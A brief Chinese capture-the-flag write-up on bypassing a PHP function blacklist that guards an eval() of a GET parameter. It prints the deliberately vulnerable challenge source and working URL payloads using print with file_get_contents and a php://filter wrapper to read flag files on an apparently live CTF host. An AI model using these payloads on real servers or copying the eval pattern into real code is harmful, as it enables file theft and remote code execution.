RCE_php绕过


一、RCE_php过滤掉很多函数的绕过

重点:使用print函数输出php代码执行结果 print==echo

1.题目源码

<?php
# flag in flag.php
include("flag.php");
if(isset($_GET['cmd'])){
    $cmd = $_GET['cmd'];
    if(!preg_match("/system|exec|highlight|show_source|include|passthru|echo|print_r|cat|head|tail|more|less/i",$cmd)){
        if(preg_match("/flag/i",$cmd)){
            eval($cmd);
        } else {
            die("HACK!!");
        }
    } else {
        die("HACK!!!");
    }
} else {
    highlight_file(__FILE__);
}
?>

2.payload

使用print函数代替echo函数,输出file_get_contents(‘文件名’)的内容

http://47.105.113.86:40002/?cmd=print%20file_get_contents('flag.php');  #拿到flag.php源码
http://47.105.113.86:40002/?cmd=print%20file_get_contents('/tmp/flag.nisp');   #拿到最终flag
或者使用print函数+php伪协议读取文件内容
cmd=print%20file_get_contents('php://filter/convert.base64-encode/resource=/tmp/flag.nisp'); 

文章作者: 0x00dream
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 0x00dream !
  目录